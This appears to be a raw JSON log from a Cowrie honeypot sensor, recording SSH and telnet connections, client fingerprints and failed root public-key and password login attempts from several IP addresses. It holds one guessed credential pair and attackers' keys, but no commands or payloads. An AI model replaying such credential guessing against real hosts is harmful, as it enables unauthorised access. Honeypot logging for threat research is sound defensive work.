{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:aa:32:04:0d:1a:fd:ea:f0:a8:29:c7:dd:9c:14:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7zHNz7NunkO/RH6dbvENOl4kADyITQzYF2WCjz59kCKnHX6lv6ZaIeqUfwwEA2DOnaEubTuVJWNi/gJhspszwDLvVN8RYLJB+DJgQiqkhCQyKzxiKgf9GKSWHdNlB1TYs7pkJaIX8C+MxkMPtmqllf2/XGDPmhzKxrPLax4dODl5iF8TYlrzeI/zyJ4mLJCbdWCiEtsbuFOkDubeNHip6li0jOE75br5Fb2Vr5p2zvhFgmJu+T9YTPFwLDQhHXtVuIfW1W3T7xoQZUR/0rXJfoSysGshJri/USEQVYatnYc/U7jRlrqxAIGYq/0+PEwO2wIP1eLULNGumaywYTH1j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:aa:32:04:0d:1a:fd:ea:f0:a8:29:c7:dd:9c:14:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.609185Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:aa:32:04:0d:1a:fd:ea:f0:a8:29:c7:dd:9c:14:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7zHNz7NunkO/RH6dbvENOl4kADyITQzYF2WCjz59kCKnHX6lv6ZaIeqUfwwEA2DOnaEubTuVJWNi/gJhspszwDLvVN8RYLJB+DJgQiqkhCQyKzxiKgf9GKSWHdNlB1TYs7pkJaIX8C+MxkMPtmqllf2/XGDPmhzKxrPLax4dODl5iF8TYlrzeI/zyJ4mLJCbdWCiEtsbuFOkDubeNHip6li0jOE75br5Fb2Vr5p2zvhFgmJu+T9YTPFwLDQhHXtVuIfW1W3T7xoQZUR/0rXJfoSysGshJri/USEQVYatnYc/U7jRlrqxAIGYq/0+PEwO2wIP1eLULNGumaywYTH1j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.613104Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:1f:81:95:17:b2:88:4b:d2:e7:8e:d6:8c:d7:28:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcwpbXVPhhYDUMg1Bzvdv1IFy/D7GabnupdwaqpD/S76/uGIofuo6VIXgXzlw8G11C44uqCt29dLy/419GmeebX8AUBAC3Y6bsCO4ZImfxDKWe2W/bEmOu/vnShlmkl6tjoWa21sPBRUISO9WZqEml77+NofL1Ur0g9alWN7IHSQEUrJv5u7wE0GJ72MLUgItljrzwc3qK29DF9oVz61OQT5cPbJTM2Tvn6vtRO49zyGj6FK1Mdutd4DlR6rB/RDQPzIArSjImGlHCn/ZsqX0lGxGm2WX/fEZPLziPle+1NCUEgpOZ1YI5KMFhMKq5akjxrjkMZE4p0T7Z1zAO1+c5N7UQ5RnOnLiK1bBkldiyh25QpmQ4XZtA7OT7z4rRcQz6fFoenFNC1wjn1+RIOve3slCtGiCIUYzhyIp2TWoF8hMWrUMB8l7QfrRJoghjJr8jivRvfMnOKYZPUef526ZPEX971OMHmXnp3P+gXUcQGTvJcq5L+QNxjNX4hp3o4CshFL0sWZFs0EAf2jO+0Gj0qYOrLz+gacfvRS7mOoWmpmOPq1xy7erpbw4vtpBHepD70ubJyKd4JQGTXq8BbQC2veet+LM3yk4E5bMf+L1NRZKmJIv3DaIMGKfy22FFmzHbGU8DMOO/hIwIvGLzFEzdap82NzhN96rBVIn7ZYDQOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:1f:81:95:17:b2:88:4b:d2:e7:8e:d6:8c:d7:28:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.761238Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:1f:81:95:17:b2:88:4b:d2:e7:8e:d6:8c:d7:28:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcwpbXVPhhYDUMg1Bzvdv1IFy/D7GabnupdwaqpD/S76/uGIofuo6VIXgXzlw8G11C44uqCt29dLy/419GmeebX8AUBAC3Y6bsCO4ZImfxDKWe2W/bEmOu/vnShlmkl6tjoWa21sPBRUISO9WZqEml77+NofL1Ur0g9alWN7IHSQEUrJv5u7wE0GJ72MLUgItljrzwc3qK29DF9oVz61OQT5cPbJTM2Tvn6vtRO49zyGj6FK1Mdutd4DlR6rB/RDQPzIArSjImGlHCn/ZsqX0lGxGm2WX/fEZPLziPle+1NCUEgpOZ1YI5KMFhMKq5akjxrjkMZE4p0T7Z1zAO1+c5N7UQ5RnOnLiK1bBkldiyh25QpmQ4XZtA7OT7z4rRcQz6fFoenFNC1wjn1+RIOve3slCtGiCIUYzhyIp2TWoF8hMWrUMB8l7QfrRJoghjJr8jivRvfMnOKYZPUef526ZPEX971OMHmXnp3P+gXUcQGTvJcq5L+QNxjNX4hp3o4CshFL0sWZFs0EAf2jO+0Gj0qYOrLz+gacfvRS7mOoWmpmOPq1xy7erpbw4vtpBHepD70ubJyKd4JQGTXq8BbQC2veet+LM3yk4E5bMf+L1NRZKmJIv3DaIMGKfy22FFmzHbGU8DMOO/hIwIvGLzFEzdap82NzhN96rBVIn7ZYDQOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.765274Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:40:57.913362Z","src_ip":"5.45.189.11","session":"e42a672f4a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.27.7.160","src_port":47676,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c0968becd9","protocol":"ssh","message":"New connection: 37.27.7.160:47676 (10.17.0.5:22) [session: 67c0968becd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:16.657912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:16.662741Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:16.776781Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:11:37:13:b7:bf:65:dd:ec:66:56:2f:56:24:24:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8zUvQLFbZxvCABIVKBbSafe/naXYcm+4y6jBOL0ASK+GmZzpcOw/YR3sfwCs4SzT9TjrtP+X1GGsQgpVbUT5R4qXrXVSGmnvv10GQKTbK7Pj2M9kemn9HvBnbeJGmGdW1DKkk+WkdsCHIqIZUbcMYM+Fo599k3GdRiPWoNiHwHYEMtut3F725wLFnONq/YKzZPSLpsBTMEnuD2exZgy+6sgJIJgSDra9NrHJ2Ko17WBb8jeJFlhhLG5UVWMZGej0RRQ+mef8dsrHiNmlsCwcInnflgL1d1W1vwylua23D+XiUb+BbDNVZxXSuvxnyK6xMTsJ71cse5fGKEoB4PU8z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:11:37:13:b7:bf:65:dd:ec:66:56:2f:56:24:24:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.309192Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:11:37:13:b7:bf:65:dd:ec:66:56:2f:56:24:24:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8zUvQLFbZxvCABIVKBbSafe/naXYcm+4y6jBOL0ASK+GmZzpcOw/YR3sfwCs4SzT9TjrtP+X1GGsQgpVbUT5R4qXrXVSGmnvv10GQKTbK7Pj2M9kemn9HvBnbeJGmGdW1DKkk+WkdsCHIqIZUbcMYM+Fo599k3GdRiPWoNiHwHYEMtut3F725wLFnONq/YKzZPSLpsBTMEnuD2exZgy+6sgJIJgSDra9NrHJ2Ko17WBb8jeJFlhhLG5UVWMZGej0RRQ+mef8dsrHiNmlsCwcInnflgL1d1W1vwylua23D+XiUb+BbDNVZxXSuvxnyK6xMTsJ71cse5fGKEoB4PU8z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.312809Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:cb:99:c7:c2:91:35:f6:63:5c:ec:fd:8f:49:09:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1CPm09D521cnsyrXHDE7L49sIYX0byKNwE0afuSEfeBAxYlBlj8uoMAGjzuv19MUMKV6au1sGpjYKHAMzaaTNoLSC/OZ0pfEdnQ1j7B03cKCv9+nkLmp72DJRgnLnxqkzV+DfSHEq7QBz1Mxt/TAzplO8Kc/C6DmTyzRB53tyjburfxcmu13Aq032bSLd0edz+7Po+0znFYlQd05ZdQ6uB9Emgunr6rVOFKOxbf08oXsLfrttM+Xt+sVtP9lAc9Hq+UZiYO/Ztl7lSZbgV/GKGD4hkirnHgvE+Faj7sjOvj/WSqq5pBbIhmhawT3CIfAdp3gsdyoz5zQzv9ddMuYtOR8YVQ0W+Dt5KQ/GTT3gh23U7ItRk64ulVtW9hV3jjt2Oqn6tVSQt7kmMw0pqSlmrNiH+0lC5gIjNTv6M1q6+vxpt9NzNWKR9W789PtXa1CPO7Y7ZCRCTwlBcqmBpzv1q4eXlRs/D+3j6okux68z/3gAgKe9chlY4fMrbMMaPbcgkUcLiri2tRxpcrCO4J+bCEe2Oa5fwFjxPpF03SdW+TZ0ChEbLDThRD7n2jKxGMG8H8uA///yQQ5j4n/yknwZctNbEPWrPD1SY26Xxn1OvQ3MYQ2luJjr6XCLdnLPHNPG26htfUVFYlFpy9nC8Ta6iOC+kLJPr/SbGJ9eobpt7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:cb:99:c7:c2:91:35:f6:63:5c:ec:fd:8f:49:09:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.427793Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:cb:99:c7:c2:91:35:f6:63:5c:ec:fd:8f:49:09:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1CPm09D521cnsyrXHDE7L49sIYX0byKNwE0afuSEfeBAxYlBlj8uoMAGjzuv19MUMKV6au1sGpjYKHAMzaaTNoLSC/OZ0pfEdnQ1j7B03cKCv9+nkLmp72DJRgnLnxqkzV+DfSHEq7QBz1Mxt/TAzplO8Kc/C6DmTyzRB53tyjburfxcmu13Aq032bSLd0edz+7Po+0znFYlQd05ZdQ6uB9Emgunr6rVOFKOxbf08oXsLfrttM+Xt+sVtP9lAc9Hq+UZiYO/Ztl7lSZbgV/GKGD4hkirnHgvE+Faj7sjOvj/WSqq5pBbIhmhawT3CIfAdp3gsdyoz5zQzv9ddMuYtOR8YVQ0W+Dt5KQ/GTT3gh23U7ItRk64ulVtW9hV3jjt2Oqn6tVSQt7kmMw0pqSlmrNiH+0lC5gIjNTv6M1q6+vxpt9NzNWKR9W789PtXa1CPO7Y7ZCRCTwlBcqmBpzv1q4eXlRs/D+3j6okux68z/3gAgKe9chlY4fMrbMMaPbcgkUcLiri2tRxpcrCO4J+bCEe2Oa5fwFjxPpF03SdW+TZ0ChEbLDThRD7n2jKxGMG8H8uA///yQQ5j4n/yknwZctNbEPWrPD1SY26Xxn1OvQ3MYQ2luJjr6XCLdnLPHNPG26htfUVFYlFpy9nC8Ta6iOC+kLJPr/SbGJ9eobpt7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.432958Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:be:75:5d:88:93:0f:85:df:98:de:ef:8f:9a:92:b3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANAT70b9MBpH6fddmAXm8uep69xMaNp+P6gr2oY3KQMiJzgrN11FeejiQIbNmkB7R+L2q43ssf++xsyi5UNkcDwSNc3AGZsypbEWnTrvqwA9WVQ6S1zMzRY4EQh4h5ZO4KkuUe9LEc6S6KSglHtnC8MD+JPQoKz67MX/azDMtuvvAAAAFQC8zL16uHqABbNpc4lewAyad2boOwAAAIAtvwaYeat954D4pJdTCWDL4W17kQ0rzluE0WFADiecUMLSnIgATHz/wEm1V/hFmfFLB1IsUW4HzRbpOq/PBc9dvMfWFbbJli7yc5ipl0ryLpF11r/wdMhMcPjbU/KGWAz87j+csBkLkVov114vDJL1HcxLeJ6NCIvRyVqbZFK58QAAAIEAiHAWwE9opZ3U3tkHXbz+mO8/Z0mGFC7S48WV4nDfyq9kkgYfmq9KBSuo603JRF3zFgRaiHgp6Bp5Hf9kfCbRPC9xOVdSjRlLxojiTbpPUxXkZfmrEsjCym/mUEq+oysMLml1dxrgHPKipSaLDyCuEC0cqmhiSm/mc0JPmxPqz+Y=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b3:be:75:5d:88:93:0f:85:df:98:de:ef:8f:9a:92:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.546216Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:be:75:5d:88:93:0f:85:df:98:de:ef:8f:9a:92:b3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANAT70b9MBpH6fddmAXm8uep69xMaNp+P6gr2oY3KQMiJzgrN11FeejiQIbNmkB7R+L2q43ssf++xsyi5UNkcDwSNc3AGZsypbEWnTrvqwA9WVQ6S1zMzRY4EQh4h5ZO4KkuUe9LEc6S6KSglHtnC8MD+JPQoKz67MX/azDMtuvvAAAAFQC8zL16uHqABbNpc4lewAyad2boOwAAAIAtvwaYeat954D4pJdTCWDL4W17kQ0rzluE0WFADiecUMLSnIgATHz/wEm1V/hFmfFLB1IsUW4HzRbpOq/PBc9dvMfWFbbJli7yc5ipl0ryLpF11r/wdMhMcPjbU/KGWAz87j+csBkLkVov114vDJL1HcxLeJ6NCIvRyVqbZFK58QAAAIEAiHAWwE9opZ3U3tkHXbz+mO8/Z0mGFC7S48WV4nDfyq9kkgYfmq9KBSuo603JRF3zFgRaiHgp6Bp5Hf9kfCbRPC9xOVdSjRlLxojiTbpPUxXkZfmrEsjCym/mUEq+oysMLml1dxrgHPKipSaLDyCuEC0cqmhiSm/mc0JPmxPqz+Y=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.550281Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:ee:78:b6:91:51:cc:36:90:1a:11:e4:e7:5a:dc:c2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANzqy2MGBtLUtYjTb4UNPWQVdyv2Byuj6XRErUVhY0h84WbD+6RJyii02eO072Tm0XIC/dzOckRZus6Cuv82OK5i4xXYlR8oWyBbY26o7IjWVG1EwblJdgPjOwmaYUgEUbKAinI8KTcVHnGHWOufVHb1L8tUV88RTavINNzEz1uzAAAAFQC+h/z9+YAm4gGuRGoxRCQc8VzpxQAAAIAeABhRHNnj7CoNsBJuu7DSuB2kLXqAZDPwC4swP89YBDmaTqOM3UHGcPZJ7SRynaKUTzLgE8hnckX4hgURUqv3BGpulqZ6WuvbBuOWGt5DRCYbRPe87jwzoIg+xWJEOyzYCxuXOYJhuvPDP4Rtj70iDS5qxMxUNIt81QVD1L/FNQAAAIAegBi/iaGXgKOVKccXHXaoBYSVfyaaxY0E/TWHzNnnS7k4+WG0XF/5pPMF7QvP6t1qWmwsNM0yKTB8+Rc7zuP/PWRV4BbecjAHHxcggJVUq94duLHmItFrreEEIKNUxC3DhNtmwW13mCqDEeCF6KZH47gUQd+fcEpLvwqE6Hc2Vg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1a:ee:78:b6:91:51:cc:36:90:1a:11:e4:e7:5a:dc:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.663131Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:ee:78:b6:91:51:cc:36:90:1a:11:e4:e7:5a:dc:c2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANzqy2MGBtLUtYjTb4UNPWQVdyv2Byuj6XRErUVhY0h84WbD+6RJyii02eO072Tm0XIC/dzOckRZus6Cuv82OK5i4xXYlR8oWyBbY26o7IjWVG1EwblJdgPjOwmaYUgEUbKAinI8KTcVHnGHWOufVHb1L8tUV88RTavINNzEz1uzAAAAFQC+h/z9+YAm4gGuRGoxRCQc8VzpxQAAAIAeABhRHNnj7CoNsBJuu7DSuB2kLXqAZDPwC4swP89YBDmaTqOM3UHGcPZJ7SRynaKUTzLgE8hnckX4hgURUqv3BGpulqZ6WuvbBuOWGt5DRCYbRPe87jwzoIg+xWJEOyzYCxuXOYJhuvPDP4Rtj70iDS5qxMxUNIt81QVD1L/FNQAAAIAegBi/iaGXgKOVKccXHXaoBYSVfyaaxY0E/TWHzNnnS7k4+WG0XF/5pPMF7QvP6t1qWmwsNM0yKTB8+Rc7zuP/PWRV4BbecjAHHxcggJVUq94duLHmItFrreEEIKNUxC3DhNtmwW13mCqDEeCF6KZH47gUQd+fcEpLvwqE6Hc2Vg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.667165Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:d5:66:bb:bf:ae:09:81:7b:15:ca:e3:43:84:0a:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwSDO/IphmVSlETZFleHyGpluBUIdQWf+Hg/vDIIgJ2uNsbf6YZkpz/fb2CE7oXuoVSQuHWX1+pOneUCxbHuoENWXd+cnqIVamqJjZl+E7RDAIR1CFTfBzbWGwXt2A6m5fjGpiDx0q6XdY8mzxacruB92LXcceyrriZZ9KtKGfEXtkUgEUme3xn9XdB4TuOHv4HD6QdFdhQlWiOlr5BTZ3patscjaW4tJZ3sqPGNPze+cZCpiWy6fKfNbWzER5RYyD5izTV4fxkhaYtoHlcAR257imAlpfm5tejF7dJd8c2V2p8N4ZsAsjKDX7hAh8PQyhzWxRiir+KpoQ7NTTMTOQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:d5:66:bb:bf:ae:09:81:7b:15:ca:e3:43:84:0a:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.781681Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:d5:66:bb:bf:ae:09:81:7b:15:ca:e3:43:84:0a:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwSDO/IphmVSlETZFleHyGpluBUIdQWf+Hg/vDIIgJ2uNsbf6YZkpz/fb2CE7oXuoVSQuHWX1+pOneUCxbHuoENWXd+cnqIVamqJjZl+E7RDAIR1CFTfBzbWGwXt2A6m5fjGpiDx0q6XdY8mzxacruB92LXcceyrriZZ9KtKGfEXtkUgEUme3xn9XdB4TuOHv4HD6QdFdhQlWiOlr5BTZ3patscjaW4tJZ3sqPGNPze+cZCpiWy6fKfNbWzER5RYyD5izTV4fxkhaYtoHlcAR257imAlpfm5tejF7dJd8c2V2p8N4ZsAsjKDX7hAh8PQyhzWxRiir+KpoQ7NTTMTOQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.787226Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:17.901062Z","src_ip":"37.27.7.160","session":"67c0968becd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53620,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6fa8d7a81b7","protocol":"ssh","message":"New connection: 193.32.162.145:53620 (159.203.135.109:22) [session: f6fa8d7a81b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:19.970730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:19.975837Z","src_ip":"193.32.162.145","session":"f6fa8d7a81b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:20.082042Z","src_ip":"193.32.162.145","session":"f6fa8d7a81b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:20.395813Z","src_ip":"193.32.162.145","session":"f6fa8d7a81b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:21.501961Z","src_ip":"193.32.162.145","session":"f6fa8d7a81b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.190.158.51","src_port":63447,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da890cce1df","protocol":"telnet","message":"New connection: 45.190.158.51:63447 (10.17.0.5:23) [session: 6da890cce1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:34.017043Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":33678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee425983efca","protocol":"ssh","message":"New connection: 154.16.115.17:33678 (10.17.0.5:22) [session: ee425983efca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.348004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.353218Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
